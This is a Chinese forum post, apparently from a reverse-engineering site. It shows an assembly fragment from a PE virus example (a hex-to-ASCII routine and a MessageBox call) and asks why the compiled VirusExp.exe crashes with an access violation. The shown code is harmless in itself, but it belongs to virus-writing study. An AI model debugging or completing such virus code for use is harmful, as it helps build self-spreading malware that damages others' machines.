call binToAscii
loop L1
push 40h+1000h
lea eax,[ebp+sztit]
push eax
lea eax,[ebp+CopyRight]
push eax
push 0
call [ebp+aMessageBoxA]
jmp _where
;--------------------------------------------------------------------
binToAscii proc near ;此函数用来将二进制转换为字符
mov eax,ebx
and eax,0fh
add al,30h
cmp al,39h
jbe @f
add al,7
@@:
stosb
ret
binToAscii endp
;disLen.asm start
;========================================================================================
但是生成的.exe文件运行时候,会出错,弹出对话框提示为
Unhandled exception in VirusExp.exe : 0xC0000005 : Access Violatoin
我在机器上装了vc,跳出一个调试界面,指向当前运行语句为 7C921230 INT 3
请高手帮帮忙啊
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
他的文章
- ANSI/unicode 的一个问题 4143
- “莫国防”病毒代码的问题 5272
- 有个病毒的示例程序,能生成.exe文件,不过运行出错,请教高手为什么出错 5436
- Win32 PE病毒原理分析,里面程序的问题 4983
- 请教汇编代码中的问题,发现我是个菜鸟,呵呵 4275
看原图
赞赏
雪币:
留言: